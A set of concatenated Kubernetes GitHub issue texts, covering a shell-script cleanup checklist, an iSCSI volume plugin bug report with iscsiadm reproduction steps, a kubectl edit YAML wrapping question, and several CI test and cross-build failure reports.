https://github.com/kubernetes/kubernetes/pull/72955 \r  -     ./cluster/addons/addon-manager/kube-addons.sh\r  -     ./cluster/addons/fluentd-elasticsearch/es-image/run.sh\r  -     ./cluster/addons/fluentd-elasticsearch/fluentd-es-image/run.sh\r  -  x  ./cluster/centos/build.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/config-build.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/config-default.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/config-test.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/deployaddons.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/make-ca-cert.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/master/scripts/flannel.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/node/bin/mk-docker-opts.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/node/scripts/flannel.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -  x  ./cluster/centos/util.sh  done in: https://github.com/kubernetes/kubernetes/pull/73253 \r  -     ./cluster/clientbin.sh\r  -     ./cluster/common.sh\r  -     ./cluster/gce/config-common.sh\r  -     ./cluster/gce/config-default.sh\r  -     ./cluster/gce/config-test.sh\r  -  x  ./cluster/gce/delete-stranded-load-balancers.sh  done in: https://github.com/kubernetes/kubernetes/pull/74192 \r  -     ./cluster/gce/gci/configure-helper.sh\r  -     ./cluster/gce/gci/configure.sh\r  -     ./cluster/gce/gci/flexvolume_node_setup.sh\r  -     ./cluster/gce/gci/health-monitor.sh\r  -     ./cluster/gce/gci/master-helper.sh\r  -     ./cluster/gce/gci/mounter/stage-upload.sh\r  -     ./cluster/gce/gci/node-helper.sh\r  -     ./cluster/gce/gci/shutdown.sh\r  -     ./cluster/gce/list-resources.sh\r  -     ./cluster/gce/upgrade-aliases.sh\r  -     ./cluster/gce/upgrade.sh\r  -     ./cluster/gce/util.sh\r  -  x  ./cluster/get-kube-binaries.sh  done in: https://github.com/kubernetes/kubernetes/pull/72861 \r  -  x  ./cluster/get-kube-local.sh  done in: https://github.com/kubernetes/kubernetes/pull/72861 \r  -  x  ./cluster/get-kube.sh  done in: https://github.com/kubernetes/kubernetes/pull/72861 \r  -     ./cluster/images/conformance/run_e2e.sh\r  -  x  ./cluster/images/etcd-empty-dir-cleanup/etcd-empty-dir-cleanup.sh  done in: https://github.com/kubernetes/kubernetes/pull/74192 \r  -     ./cluster/juju/prereqs/ubuntu-juju.sh\r  -     ./cluster/juju/util.sh\r  -  x  ./cluster/kube-down.sh  done in: https://github.com/kubernetes/kubernetes/pull/74060 \r  -     ./cluster/kube-up.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74449 \r  -     ./cluster/kube-util.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74449 \r  -  x  ./cluster/kubeadm.sh  done in: https://github.com/kubernetes/kubernetes/pull/74060 \r  -     ./cluster/kubectl.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74449 \r  -     ./cluster/kubemark/gce/config-default.sh\r  -     ./cluster/kubemark/iks/config-default.sh\r  -     ./cluster/kubemark/util.sh\r  -     ./cluster/local/util.sh\r  -     ./cluster/log-dump/log-dump.sh\r  -     ./cluster/pre-existing/util.sh\r  -     ./cluster/restore-from-backup.sh\r  -     ./cluster/test-e2e.sh\r  -     ./cluster/test-network.sh\r  -     ./cluster/test-smoke.sh\r  -     ./cluster/update-storage-objects.sh\r  -     ./cluster/validate-cluster.sh\r  -  x  ./hack/benchmark-go.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -  x  ./hack/build-cross.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -  x  ./hack/build-go.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -  x  ./hack/build-ui.sh  done in: https://github.com/kubernetes/kubernetes/pull/72924 \r  -     ./hack/cherry_pick_pull.sh\r  -  x  ./hack/dev-build-and-push.sh  done in: https://github.com/kubernetes/kubernetes/pull/73151 \r  -  x  ./hack/dev-build-and-up.sh  done in: https://github.com/kubernetes/kubernetes/pull/73151 \r  -  x  ./hack/dev-push-conformance.sh  done in: https://github.com/kubernetes/kubernetes/pull/73151 \r  -  x  ./hack/dev-push-hyperkube.sh  done in: https://github.com/kubernetes/kubernetes/pull/73151 \r  -  x  ./hack/e2e-internal/e2e-cluster-size.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-internal/e2e-down.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-internal/e2e-grow-cluster.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-internal/e2e-shrink-cluster.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-internal/e2e-status.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-internal/e2e-up.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -  x  ./hack/e2e-node-test.sh  done in: https://github.com/kubernetes/kubernetes/pull/74230 \r  -     ./hack/generate-bindata.sh\r  -     ./hack/generate-docs.sh\r  -  x  ./hack/get-build.sh  done in: https://github.com/kubernetes/kubernetes/pull/74060 \r  -     ./hack/ginkgo-e2e.sh\r  -     ./hack/godep-restore.sh\r  -     ./hack/godep-save.sh\r  -     ./hack/grab-profiles.sh\r  -     ./hack/install-etcd.sh\r  -     ./hack/jenkins/benchmark-dockerized.sh\r  -     ./hack/jenkins/build.sh\r  -     ./hack/jenkins/test-dockerized.sh\r  -     ./hack/jenkins/upload-to-gcs.sh\r  -     ./hack/jenkins/verify-dockerized.sh\r  -     ./hack/lib/etcd.sh\r  -     ./hack/lib/golang.sh\r  -     ./hack/lib/init.sh\r  -     ./hack/lib/logging.sh\r  -     ./hack/lib/protoc.sh\r  -     ./hack/lib/swagger.sh\r  -     ./hack/lib/test.sh\r  -     ./hack/lib/util.sh\r  -     ./hack/lib/version.sh\r  -     ./hack/list-feature-tests.sh\r  -     ./hack/local-up-cluster.sh\r  -     ./hack/make-rules/build.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/clean.sh\r  -     ./hack/make-rules/cross.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/helpers/cache_go_dirs.sh\r  -     ./hack/make-rules/make-help.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/test-cmd.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/test-e2e-node.sh\r  -     ./hack/make-rules/test-integration.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/test-kubeadm-cmd.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74242 \r  -     ./hack/make-rules/test.sh\r  -     ./hack/make-rules/update.sh\r  -     ./hack/make-rules/verify.sh\r  -     ./hack/make-rules/vet.sh\r  -  x  ./hack/print-workspace-status.sh  done in: https://github.com/kubernetes/kubernetes/pull/73257 \r  -  x  ./hack/run-in-gopath.sh  done in: https://github.com/kubernetes/kubernetes/pull/73257 \r  -  x  ./hack/test-go.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -     ./hack/test-integration.sh\r  -     ./hack/test-update-storage-objects.sh\r  -  x  ./hack/update-all.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -  x  ./hack/update-api-reference-docs.sh  done in: https://github.com/kubernetes/kubernetes/pull/72924 \r  -     ./hack/update-bazel.sh\r  -     ./hack/update-codegen.sh\r  -  x  ./hack/update-generated-device-plugin-dockerized.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-device-plugin.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-docs.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -     ./hack/update-generated-kms-dockerized.sh\r  -  x  ./hack/update-generated-kms.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-kubelet-plugin-registration-dockerized.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-kubelet-plugin-registration.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-pod-resources-dockerized.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -  x  ./hack/update-generated-pod-resources.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -     ./hack/update-generated-protobuf-dockerized.sh\r  -  x  ./hack/update-generated-protobuf.sh  done in: https://github.com/kubernetes/kubernetes/pull/74286 \r  -     ./hack/update-generated-runtime-dockerized.sh\r  -     ./hack/update-generated-runtime.sh\r  -     ./hack/update-generated-swagger-docs.sh\r  -     ./hack/update-godep-licenses.sh\r  -     ./hack/update-gofmt.sh\r  -     ./hack/update-openapi-spec.sh\r  -     ./hack/update-staging-godeps-dockerized.sh\r  -     ./hack/update-staging-godeps.sh\r  -  x  ./hack/update-swagger-spec.sh  done in: https://github.com/kubernetes/kubernetes/pull/72924 \r  -     ./hack/update-translations.sh\r  -     ./hack/update-workspace-mirror.sh\r  -  x  ./hack/verify-all.sh  done in: https://github.com/kubernetes/kubernetes/pull/74299 \r  -     ./hack/verify-api-groups.sh\r  -  x  ./hack/verify-api-reference-docs.sh  done in: https://github.com/kubernetes/kubernetes/pull/72924 \r  -  x  ./hack/verify-bazel.sh  done in: https://github.com/kubernetes/kubernetes/pull/74259 \r  -     ./hack/verify-boilerplate.sh\r  -     ./hack/verify-cli-conventions.sh\r  -     ./hack/verify-codegen.sh\r  -     ./hack/verify-description.sh\r  -     ./hack/verify-generated-device-plugin.sh\r  -     ./hack/verify-generated-docs.sh\r  -     ./hack/verify-generated-files-remake.sh\r  -     ./hack/verify-generated-files.sh\r  -     ./hack/verify-generated-kms.sh\r  -     ./hack/verify-generated-kubelet-plugin-registration.sh\r  -     ./hack/verify-generated-pod-resources.sh\r  -     ./hack/verify-generated-protobuf.sh\r  -     ./hack/verify-generated-runtime.sh\r  -     ./hack/verify-generated-swagger-docs.sh\r  -  x  ./hack/verify-godep-licenses.sh  done in: https://github.com/kubernetes/kubernetes/pull/74259 \r  -  x  ./hack/verify-godeps.sh  done in: https://github.com/kubernetes/kubernetes/pull/74259 \r  -  x  ./hack/verify-gofmt.sh  done in: https://github.com/kubernetes/kubernetes/pull/74259 \r  -     ./hack/verify-golint.sh\r  -     ./hack/verify-govet.sh\r  -     ./hack/verify-import-boss.sh\r  -  x  ./hack/verify-imports.sh  done in: https://github.com/kubernetes/kubernetes/pull/74259 \r  -     ./hack/verify-linkcheck.sh\r  -     ./hack/verify-no-vendor-cycles.sh\r  -     ./hack/verify-openapi-spec.sh\r  -     ./hack/verify-pkg-names.sh\r  -     ./hack/verify-readonly-packages.sh\r  -     ./hack/verify-spelling.sh\r  -     ./hack/verify-staging-godeps.sh\r  -     ./hack/verify-staging-meta-files.sh\r  -  x  ./hack/verify-swagger-spec.sh  done in: https://github.com/kubernetes/kubernetes/pull/72924 \r  -     ./hack/verify-symbols.sh\r  -     ./hack/verify-test-featuregates.sh\r  -     ./hack/verify-test-images.sh\r  -     ./hack/verify-test-owners.sh\r  -     ./hack/verify-typecheck.sh\r  -     ./pkg/kubectl/cmd/edit/testdata/record_testcase.sh\r  -     ./pkg/util/verify-util-pkg.sh\r  -     ./plugin/pkg/admission/imagepolicy/gencerts.sh\r  -  x  ./staging/src/k8s.io/apiextensions-apiserver/examples/client-go/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73252 \r  -  x  ./staging/src/k8s.io/apiextensions-apiserver/examples/client-go/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73252 \r  -  x  ./staging/src/k8s.io/apiextensions-apiserver/hack/build-image.sh  done in: https://github.com/kubernetes/kubernetes/pull/73252 \r  -  x  ./staging/src/k8s.io/apiextensions-apiserver/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73252 \r  -  x  ./staging/src/k8s.io/apiextensions-apiserver/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73252 \r  -     ./staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/testcerts/gencerts.sh\r  -     ./staging/src/k8s.io/apiserver/pkg/util/webhook/gencerts.sh\r  -     ./staging/src/k8s.io/apiserver/plugin/pkg/authenticator/token/oidc/testdata/gen.sh\r  -     ./staging/src/k8s.io/apiserver/plugin/pkg/authorizer/webhook/gencerts.sh\r  -  x  ./staging/src/k8s.io/code-generator/generate-groups.sh  done in: https://github.com/kubernetes/kubernetes/pull/73246 \r  -  x  ./staging/src/k8s.io/code-generator/generate-internal-groups.sh  done in: https://github.com/kubernetes/kubernetes/pull/73246 \r  -  x  ./staging/src/k8s.io/code-generator/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73246 \r  -  x  ./staging/src/k8s.io/code-generator/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73246 \r  -  x  ./staging/src/k8s.io/csi-api/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73219 \r  -  x  ./staging/src/k8s.io/csi-api/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73219 \r  -  x  ./staging/src/k8s.io/kube-aggregator/hack/build-image.sh  done in: https://github.com/kubernetes/kubernetes/pull/73218 \r  -  x  ./staging/src/k8s.io/kube-aggregator/hack/local-up-kube-aggregator.sh  done in: https://github.com/kubernetes/kubernetes/pull/73218 \r  -  x  ./staging/src/k8s.io/kube-aggregator/hack/register-all-apis-from.sh  done in: https://github.com/kubernetes/kubernetes/pull/73218 \r  -  x  ./staging/src/k8s.io/kube-aggregator/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73218 \r  -  x  ./staging/src/k8s.io/kube-aggregator/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73218 \r  -     ./staging/src/k8s.io/metrics/hack/update-codegen.sh\r  -     ./staging/src/k8s.io/metrics/hack/verify-codegen.sh\r  -  x  ./staging/src/k8s.io/node-api/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73213 \r  -  x  ./staging/src/k8s.io/node-api/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73213 \r  -  x  ./staging/src/k8s.io/sample-apiserver/hack/build-image.sh  done in: https://github.com/kubernetes/kubernetes/pull/73210 \r  -  x  ./staging/src/k8s.io/sample-apiserver/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73210 \r  -  x  ./staging/src/k8s.io/sample-apiserver/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73210 \r  -  x  ./staging/src/k8s.io/sample-controller/hack/update-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73213 \r  -  x  ./staging/src/k8s.io/sample-controller/hack/verify-codegen.sh  done in: https://github.com/kubernetes/kubernetes/pull/73213 \r  -     ./test/cmd/apply.sh\r  -     ./test/cmd/apps.sh\r  -     ./test/cmd/authorization.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/batch.sh\r  -     ./test/cmd/certificate.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/core.sh\r  -     ./test/cmd/crd.sh\r  -     ./test/cmd/create.sh\r  -     ./test/cmd/delete.sh\r  -     ./test/cmd/diff.sh\r  -     ./test/cmd/discovery.sh\r  -     ./test/cmd/generic-resources.sh\r  -     ./test/cmd/get.sh\r  -     ./test/cmd/initializers.sh\r  -     ./test/cmd/legacy-script.sh\r  -     ./test/cmd/node-management.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/old-print.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/proxy.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/rbac.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/request-timeout.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/run.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/save-config.sh\r  -     ./test/cmd/storage.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/template-output.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/cmd/version.sh  addressed in: https://github.com/kubernetes/kubernetes/pull/74279 \r  -     ./test/e2e_node/conformance/run_test.sh\r  -     ./test/e2e_node/environment/setup_host.sh\r  -     ./test/e2e_node/gubernator.sh\r  -     ./test/e2e_node/jenkins/conformance/conformance-jenkins.sh\r  -     ./test/e2e_node/jenkins/copy-e2e-image.sh\r  -     ./test/e2e_node/jenkins/e2e-node-jenkins.sh\r  -     ./test/e2e_node/jenkins/ubuntu-14.04-nvidia-install.sh\r  -     ./test/images/image-util.sh\r  -     ./test/images/pets/redis-installer/on-start.sh\r  -     ./test/images/pets/zookeeper-installer/install.sh\r  -     ./test/images/pets/zookeeper-installer/on-start.sh\r  -     ./test/images/volume/gluster/run_gluster.sh\r  -     ./test/images/volume/iscsi/create_block.sh\r  -     ./test/images/volume/nfs/run_nfs.sh\r  -     ./test/images/volume/rbd/bootstrap.sh\r  -     ./test/images/volume/rbd/create_block.sh\r  -     ./test/images/volume/rbd/mon.sh\r  -     ./test/images/volume/rbd/osd.sh\r  -  x  ./test/integration/ipamperf/test-performance.sh  done in: https://github.com/kubernetes/kubernetes/pull/74193 \r  -  x  ./test/integration/scheduler_perf/test-performance.sh  done in: https://github.com/kubernetes/kubernetes/pull/74193 \r  -     ./test/kubemark/common/util.sh\r  -  x  ./test/kubemark/configure-kubectl.sh  done in: https://github.com/kubernetes/kubernetes/pull/74193 \r  -     ./test/kubemark/gce/util.sh\r  -     ./test/kubemark/iks/shutdown.sh\r  -     ./test/kubemark/iks/startup.sh\r  -     ./test/kubemark/iks/util.sh\r  -     ./test/kubemark/master-log-dump.sh\r  -  x  ./test/kubemark/pre-existing/util.sh  done in: https://github.com/kubernetes/kubernetes/pull/74193 \r  -     ./test/kubemark/resources/start-kubemark-master.sh\r  -     ./test/kubemark/run-e2e-tests.sh\r  -     ./test/kubemark/start-kubemark.sh\r  -     ./test/kubemark/stop-kubemark.sh\r  -     ./third_party/forked/shell2junit/sh2ju.sh\r  -     ./third_party/intemp/intemp.sh\r  -     ./third_party/multiarch/qemu-user-static/register/qemu-binfmt-conf.sh\r  -     ./third_party/multiarch/qemu-user-static/register/register.sh

what happened  :\r \r in order to communicate with the target,  at some point  https://github.com/bertinatto/kubernetes/blob/master/pkg/volume/iscsi/iscsi_util.go l688  the iscsi plugin creates a new iface. if for some reason an iface with the same name already exists in the node, this command will re-create it and no error will be reported.\r \r however, if the iface already exists   and   is being used by a session, this command will fail and report the error code 15   iscsi_err_sess_exists  https://linux.die.net/man/8/iscsiadm  . that's because it can't  re-create  the iface while it's in use by a session.\r \r   what you expected to happen  :\r \r the plugin could go ahead and use the existing iface instead of failing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create pod1\r \r 2. create pod2\r here,  iscsiadm  will re-use the session/iface from the step above.\r \r 3. delete pod1\r at this point, k8s will try to delete the session/iface used by pv1. however, it'll fail because the session is currently in use by pv2.\r \r 4. create pod1\r here the pod's status will be stuck at  containercreating :\r    \r $ kubectl describe pod/iscsi-pod1\r   type     reason                  age                from                                  message\r   ----     ------                  ----               ----                                  -------\r   warning  failedscheduling        34s  x2 over 34s   default-scheduler                     persistentvolumeclaim \ iscsi-pvc1\  not found\r   warning  failedscheduling        5s  x5 over 34s    default-scheduler                     pod has unbound immediate persistentvolumeclaims\r   normal   scheduled               4s                 default-scheduler                     successfully assigned default/iscsi-pod1 to ip-172-18-3-52.ec2.internal\r   normal   successfulattachvolume  3s                 attachdetach-controller               attachvolume.attach succeeded for volume \ iscsi-pv1\ \r   warning  failedmount             0s                 kubelet, ip-172-18-3-52.ec2.internal  mountvolume.waitforattach failed for volume \ iscsi-pv1\  : iscsi: failed to create new iface: iscsiadm: could not create new interface 127.0.0.1:3260:iscsi-pv1.\r   exit status 15 \r    \r \r templates used:\r \r pod1/pod.yaml\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: iscsi-pod1\r spec:\r   volumes:\r - name: storage\r   persistentvolumeclaim:\r    claimname: iscsi-pvc1\r   containers:\r - name: container\r   image: nginx\r   ports:\r - containerport: 80\r   name: \ http-server\ \r   volumemounts:\r - mountpath: \ /usr/share/nginx/html\ \r   name: storage\r    \r \r pod1/pvc.yaml\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: iscsi-pvc1\r spec:\r   accessmodes:\r - readwriteonce\r   resources:\r requests:\r   storage: 1gi\r   volumename: \ iscsi-pv1\ \r   storageclassname: \ \ \r    \r \r pod1/pv.yaml\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: iscsi-pv1\r spec:\r   capacity:\r storage: 1gi\r   accessmodes:\r - readwriteonce\r   iscsi:\r   targetportal: 172.18.0.44:3260\r   portals:\r   iqn: iqn.2003-01.io.k8s:e2e.27924\r   lun: 0\r   fstype: ext4\r   initiatorname: \ iqn.1994-05.com.redhat:dfa42debbbf\ \r \r    \r \r pod2/pod.yaml\r    \r kind: pod\r apiversion: v1\r metadata:\r   name: iscsi-pod2\r spec:\r   volumes:\r - name: storage\r   persistentvolumeclaim:\r    claimname: iscsi-pvc2\r   containers:\r - name: container\r   image: nginx\r   ports:\r - containerport: 80\r   name: \ http-server\ \r   volumemounts:\r - mountpath: \ /usr/share/nginx/html\ \r   name: storage\r    \r \r pod2/pvc.yaml\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: iscsi-pvc2\r spec:\r   accessmodes:\r - readwriteonce\r   resources:\r requests:\r   storage: 1gi\r   volumename: \ iscsi-pv2\ \r   storageclassname: \ \ \r    \r \r pod2/pv.yaml\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: iscsi-pv2\r spec:\r   capacity:\r storage: 1gi\r   accessmodes:\r - readwriteonce\r   iscsi:\r   targetportal: 172.18.0.44:3260\r   portals:\r   iqn: iqn.2003-01.io.k8s:e2e.27924\r   lun: 1\r   fstype: ext4\r   initiatorname: \ iqn.1994-05.com.redhat:dfa42debbbf\ \r    \r \r   anything else we need to know?  :\r \r 1. this problem happens when a custom initiator is used, and it was reported to me that it's necessary in some set-ups in order to \ restrict access to luns of the storage\ .\r \r 2. how to reproduce manually  assuming there's a session using the iface :\r \r    \r $ sudo iscsiadm -m session -p 1\r target: iqn.2003-01.io.k8s:e2e.8154  non-flash \r         current portal: 127.0.0.1:3260,1\r         persistent portal: 127.0.0.1:3260,1\r                           \r                 interface:\r                           \r                 iface name: 127.0.0.1:3260:iscsi-pv1\r                 iface transport: tcp\r                 iface initiatorname: iqn.1994-05.com.redhat:dfa42debbbf\r                 iface ipaddress: 127.0.0.1\r                 iface hwaddress: <empty>\r                 iface netdev: <empty>\r                 sid: 2\r                 iscsi connection state: logged in\r                 iscsi session state: logged_in\r                 internal iscsid session state: no change\r \r $ sudo iscsiadm -m iface -i 127.0.0.1:3260:iscsi-pv1 -o new \r iscsiadm: could not create new interface 127.0.0.1:3260:iscsi-pv1.\r \r $ echo $?\r 15\r \r $ sudo iscsiadm -m iface -p 1\r iface: default\r iface: iser\r iface: 127.0.0.1:3260:iscsi-pv1\r         target: iqn.2003-01.io.k8s:e2e.8154\r                 portal: 127.0.0.1:3260,1\r \r sudo iscsiadm -m node -p 127.0.0.1:3260 -u                                                                                                                                                               \r logging out of session  sid: 2, target: iqn.2003-01.io.k8s:e2e.8154, portal: 127.0.0.1,3260 \r logout of  sid: 2, target: iqn.2003-01.io.k8s:e2e.8154, portal: 127.0.0.1,3260  successful.\r \r $ sudo iscsiadm -m session -p 1                                                                                                                                                                            \r iscsiadm: no active sessions.\r \r $ sudo iscsiadm -m iface -p 1                                                                                                                                                                              \r iface: default\r iface: iser\r iface: 127.0.0.1:3260:iscsi-pv1\r         target: iqn.2003-01.io.k8s:e2e.8154\r                 portal: 127.0.0.1:3260,1\r \r $ sudo iscsiadm -m iface -i 127.0.0.1:3260:iscsi-pv1 -o new                                                                                                                                                \r new interface 127.0.0.1:3260:iscsi-pv1 added\r    \r \r  /cc @jsafrane, @cristianpop, @bswartz, @rootfs \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/28354/node-pull-build-e2e-test/12888/  cc @fejta @dchen1107

this is more confusing than harmful.  i noticed while editing a pod that the yaml wrapped a string.  the below has line numbers turned on:        5 apiversion: v1   6 kind: pod   7 metadata:   8   annotations:   9     kubernetes.io/created-by: |  10       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ hostnames-1190964384\ ,    \ uid\ :\ f4ff207f-6b1c-11e6-aa24-42010af00003\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 2341030\ }}  11     kubernetes.io/limit-ranger: 'limitranger plugin set: cpu request for container  12       hostnames'  13   creationtimestamp: 2016-09-08t23:32:03z      note that line 12 is a wrap of line 11.  apparently this is valid yaml.  reading it as json shows:              \ annotations\ : {             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ hostnames-1190964384\\\ ,\\\ uid\\\ :\\\ f4ff207f-6b1c-11e6-aa24-42010af00003\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 2341030\\\ }}\ \ ,             \ kubernetes.io/limit-ranger\ : \ limitranger plugin set: cpu request for container hostnames\          },      rejoining the lines in the editor  kubectl edit  comes back as \ edit cancelled, no changes made.\   i don't know who is deciding to wrap that, or why, but it caused me to wonder if it was broken.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1621/ failed:  k8s.io  container lifecycle hook when create a pod with lifecycle hook when it is exec hook should execute poststart exec hook properly  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/lifecycle_hook_test.go:94 wait for pod \ pod-with-poststart-exec-hook\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420212360>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:122

is this a bug report or feature request?  : bug report\r \r   what happened  :\r i ran into a syntax error but script can not trigger it.  47225\r \r   what you expected to happen  :\r script can show all the syntax errors\r \r  

-  x  label & move all sig-apps owned tests\r     -  x  workload controller tests  https://github.com/kubernetes/kubernetes/pull/48828  \r     -  x  disruption controller tests  https://github.com/kubernetes/kubernetes/pull/48827 \r     -  x   network partition tests  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network_partition.go  co-owned with sig-network\r     -  x  upgrade tests  https://github.com/kubernetes/kubernetes/pull/48845, https://github.com/kubernetes/kubernetes/pull/48895 \r -  x  add sig-apps dashboard pages\r     -  x  add gce and gke tests  https://github.com/kubernetes/test-infra/pull/3469/ \r     -  x  upgrade tests - added todo\r -  x  miscellaneous tasks\r     -  x  add sig owners for statefulset test clusters  e.g. https://github.com/kubernetes/test-infra/blob/master/jobs/config.json l2411-l2423   https://github.com/kubernetes/test-infra/pull/3471 \r     -  x  investigate and fix missing tests\r \r \r cc @grodrigues3 @crimsonfaith91 @kubernetes/sig-apps-misc

the windows/amd64 cross-build has been failing since yesterday morning.\r from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/2320:\r    \r i0712 10:13:02.637  +++  0712 10:11:46  windows/amd64: go build started\r i0712 10:13:02.637    k8s.io/kubernetes/vendor/github.com/docker/docker/pkg/term/windows\r i0712 10:13:02.637  vendor/github.com/docker/docker/pkg/term/windows/ansi_reader.go:139: undefined: winterm.word\r i0712 10:13:02.637  vendor/github.com/docker/docker/pkg/term/windows/ansi_reader.go:146: undefined: winterm.word\r i0712 10:13:02.637  vendor/github.com/docker/docker/pkg/term/windows/ansi_reader.go:210: undefined: winterm.word\r i0712 10:13:02.637  vendor/github.com/docker/docker/pkg/term/windows/ansi_reader.go:210: undefined: winterm.dword\r i0712 10:13:02.638  vendor/github.com/docker/docker/pkg/term/windows/ansi_reader.go:226: undefined: winterm.dword\r    \r \r it looks like  47140 is the culprit. the azure dependencies were updated, but docker wasn't updated to support the changes until 1.12, and we vendor 1.11.\r \r /assign @brendandburns  \r /cc @krousey @kubernetes/sig-windows-bugs

